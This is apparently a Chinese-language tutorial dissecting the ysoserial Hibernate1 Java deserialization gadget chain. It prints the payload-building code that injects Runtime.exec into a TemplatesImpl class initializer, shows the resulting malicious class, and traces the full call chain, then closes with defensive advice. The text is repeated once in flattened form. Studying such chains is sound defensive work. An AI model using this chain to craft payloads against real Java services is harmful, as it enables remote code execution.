Java反序列化系列ysoserial Hibernate1
字数 1522 2025-08-15 21:31:09

Java反序列化漏洞分析:ysoserial Hibernate1利用链详解

一、Hibernate框架简介

Hibernate是一个开源的ORM(对象关系映射)框架,主要特点包括:

  • 对JDBC进行轻量级对象封装
  • 将POJO与数据库表建立映射关系
  • 自动生成并执行SQL语句
  • 可在任何使用JDBC的场合应用(客户端程序、Servlet/JSP、EJB架构等)

二、Java动态字节码生成技术

1. 技术背景

Java程序通常需要将.java文件编译为.class字节码文件。动态字节码生成技术允许在运行时直接操作或生成.class文件内容。

2. 实现方式

ASM

  • 直接操作字节码指令
  • 执行效率高
  • 要求使用者熟悉Java类字节码格式及指令

Javassist

  • 提供高级API,使用更简单
  • 执行效率相对较低
  • 无需掌握字节码指令知识
  • 通过Maven引入:
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.19.0-GA</version>
</dependency>

3. Javassist核心类

  • ClassPool:基于HashMap实现的CtClass对象容器
  • CtClass:表示一个类
  • CtMethod:表示类中的方法
  • CtField:表示类中的字段

4. 动态生成类示例

public class JavassisTest1 {
    public static void main(String[] args) {
        ClassPool pool = ClassPool.getDefault();
        Loader loader = new Loader(pool);
        CtClass ct = pool.makeClass("JavassistTestResult"); // 创建类
        ct.setInterfaces(new CtClass[]{pool.makeInterface("java.io.Serializable")}); // 实现Serializable接口
        
        try {
            // 添加字段
            CtField f = new CtField(CtClass.intType, "id", ct);
            f.setModifiers(AccessFlag.PUBLIC);
            ct.addField(f);
            
            // 添加构造函数
            CtConstructor constructor = CtNewConstructor.make(
                "public GeneratedClass(int pId){this.id=pId;}", ct);
            ct.addConstructor(constructor);
            
            // 添加方法
            CtMethod helloM = CtNewMethod.make(
                "public void hello(String des){ System.out.println(des);}", ct);
            ct.addMethod(helloM);
            
            // 保存到磁盘
            ct.writeFile("/path/to/save/");
            
            // 加载并使用生成的类
            Class c = loader.loadClass("JavassistTestResult");
            Constructor constructor1 = c.getDeclaredConstructor(int.class);
            Object object = constructor1.newInstance(1);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

三、Hibernate1漏洞利用链分析

1. 核心Payload构造

关键方法:Gadgets.createTemplatesImpl()

public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, 
    Class<?> abstTranslet, Class<?> transFactory) throws Exception {
    
    final T templates = tplClass.newInstance();
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    
    // 获取并修改StubTransletPayload类
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");";
    clazz.makeClassInitializer().insertAfter(cmd); // 插入静态代码块
    
    // 设置随机类名
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    final byte[] classBytes = clazz.toBytecode();
    
    // 注入字节码到TemplatesImpl实例
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) });
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

2. 生成的恶意类结构

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;

public class Pwner1587535724799618000 extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;
    
    public Pwner1587535724799618000() { }
    
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    
    static {
        Object var1 = null;
        Runtime.getRuntime().exec("open /Applications/Calculator.app"); // 恶意代码
    }
}

3. 利用链关键点

  1. 触发点:HashMap的readObject方法

  2. 核心调用链

    • HashMap.readObject()
      → TypedValue.hashCode()
      → ValueHolder.getValue()
      → 匿名内部类.initialize()
      → ComponentType.getHashCode()
      → PojoComponentTuplizer.getPropertyValue()
      → BasicPropertyAccessor$BasicGetter.get()
      → TemplatesImpl.getOutputProperties()
      → TemplatesImpl.newTransformer()
      → TemplatesImpl.getTransletInstance()
      → 恶意类._class[0].newInstance()
  3. 关键条件

    • HashMap的size属性必须被正确设置
    • TemplatesImpl的_name属性不能为空
    • _bytecodes属性必须包含恶意类的字节码

4. 完整利用流程

  1. 使用Javassist动态生成包含恶意静态代码块的类
  2. 将该类字节码存入TemplatesImpl的_bytecodes属性
  3. 设置TemplatesImpl的_name和_tfactory属性
  4. 构造包含TypedValue对象的HashMap
  5. 序列化该HashMap对象
  6. 反序列化时触发整个调用链
  7. 最终通过TemplatesImpl加载并实例化恶意类,执行静态代码块中的命令

四、防御建议

  1. 避免反序列化不可信数据
  2. 使用安全的反序列化工具或白名单机制
  3. 更新Hibernate及相关库到最新版本
  4. 使用SecurityManager限制敏感操作
  5. 监控和过滤包含危险特征的序列化数据

五、总结

Hibernate1利用链结合了多种技术:

  • 动态字节码生成(Javassist)
  • Hibernate核心组件的反射调用
  • TemplatesImpl的类加载机制
  • HashMap的反序列化特性

理解该漏洞需要对Java序列化机制、Hibernate框架实现和动态字节码技术有深入认识。防御此类漏洞需要从数据源控制、运行环境加固和代码审计等多方面入手。

Java反序列化漏洞分析:ysoserial Hibernate1利用链详解 一、Hibernate框架简介 Hibernate是一个开源的ORM(对象关系映射)框架,主要特点包括: 对JDBC进行轻量级对象封装 将POJO与数据库表建立映射关系 自动生成并执行SQL语句 可在任何使用JDBC的场合应用(客户端程序、Servlet/JSP、EJB架构等) 二、Java动态字节码生成技术 1. 技术背景 Java程序通常需要将.java文件编译为.class字节码文件。动态字节码生成技术允许在运行时直接操作或生成.class文件内容。 2. 实现方式 ASM 直接操作字节码指令 执行效率高 要求使用者熟悉Java类字节码格式及指令 Javassist 提供高级API,使用更简单 执行效率相对较低 无需掌握字节码指令知识 通过Maven引入: 3. Javassist核心类 ClassPool :基于HashMap实现的CtClass对象容器 CtClass :表示一个类 CtMethod :表示类中的方法 CtField :表示类中的字段 4. 动态生成类示例 三、Hibernate1漏洞利用链分析 1. 核心Payload构造 关键方法: Gadgets.createTemplatesImpl() 2. 生成的恶意类结构 3. 利用链关键点 触发点 :HashMap的readObject方法 核心调用链 : HashMap.readObject() → TypedValue.hashCode() → ValueHolder.getValue() → 匿名内部类.initialize() → ComponentType.getHashCode() → PojoComponentTuplizer.getPropertyValue() → BasicPropertyAccessor$BasicGetter.get() → TemplatesImpl.getOutputProperties() → TemplatesImpl.newTransformer() → TemplatesImpl.getTransletInstance() → 恶意类._ class[ 0 ].newInstance() 关键条件 : HashMap的size属性必须被正确设置 TemplatesImpl的_ name属性不能为空 _ bytecodes属性必须包含恶意类的字节码 4. 完整利用流程 使用Javassist动态生成包含恶意静态代码块的类 将该类字节码存入TemplatesImpl的_ bytecodes属性 设置TemplatesImpl的_ name和_ tfactory属性 构造包含TypedValue对象的HashMap 序列化该HashMap对象 反序列化时触发整个调用链 最终通过TemplatesImpl加载并实例化恶意类,执行静态代码块中的命令 四、防御建议 避免反序列化不可信数据 使用安全的反序列化工具或白名单机制 更新Hibernate及相关库到最新版本 使用SecurityManager限制敏感操作 监控和过滤包含危险特征的序列化数据 五、总结 Hibernate1利用链结合了多种技术: 动态字节码生成(Javassist) Hibernate核心组件的反射调用 TemplatesImpl的类加载机制 HashMap的反序列化特性 理解该漏洞需要对Java序列化机制、Hibernate框架实现和动态字节码技术有深入认识。防御此类漏洞需要从数据源控制、运行环境加固和代码审计等多方面入手。